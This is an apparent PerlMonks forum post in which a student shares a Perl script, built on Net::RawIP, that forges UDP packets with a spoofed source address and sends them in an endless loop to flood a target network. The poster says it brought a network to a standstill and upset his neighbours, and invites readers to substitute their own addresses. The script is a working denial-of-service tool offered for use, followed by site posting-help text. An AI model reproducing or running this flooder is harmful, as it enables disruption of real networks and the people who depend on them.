its been a long time (um... very long time) since i lasted accessed perl monks..... i've been bit busy with my college work... increasing my GPA (am glad to say its reached 3.2/5)
anyways.... so i came back to my best friends (C and perl) and as an inaugral lesson i learned the Net::RawIP module and made my network flooder..... it creates a packet storm bringing the network to an ultimate standstill.... it works.... i've tried it.... though my neighbours came and almost killed me after that.... :p
#!/usr/bin/perl
use Net::RawIP;
use strict;
use warnings;
my $rawpack=Net::RawIP->new({
ip=>{saddr=>"192.168.12.180",daddr=>"192.168.1
+0.12"},
udp=>{source=>80,len=>1000,data=>"hnd-ucb"}
}) or die "cannot create raw packet:$!\n";
#send or rather broadcast indefinitely 100 packets at a time
system("clear");
my ($count1,$count2)=0;
my($saddr,$daddr,$source,$len,$data)=$rawpack->get( {ip=>[qw (saddr da
+ddr)],
udp=>[qw (source len data)]});
print "$saddr\n$daddr\n$source\n$len\n$data\n";
print "flooding\n";
sleep(5);
for(;;)
{
$rawpack->send(0,100);
$count1++;
if($count1==10**5)
{
$count1=0;
$count2++;
print "$count2";
system("clear");
}
}
the values of the saddr and daddr parameters are hardcoded (am sorry).... you can replace it with command line arguments or hardcode any other value.....
leave me a post if this sux or something....
brrrrrrrrrreeeeeeee :D
=====================================================
i'am worst at what do best and for this gift i fell blessed...
i found it hard it's hard to find well whatever
NEVERMIND
Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
Read Where should I post X? if you're not absolutely sure you're posting in the right place.
Please read these before you post! —
Posts may use any of the Perl Monks Approved HTML tags:
- a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
| |
For: |
|
Use: |
| & | | & |
| < | | < |
| > | | > |
| [ | | [ |
| ] | | ] |
Link using PerlMonks shortcuts! What shortcuts can I use for linking?
See Writeup Formatting Tips and other pages linked from there for more info.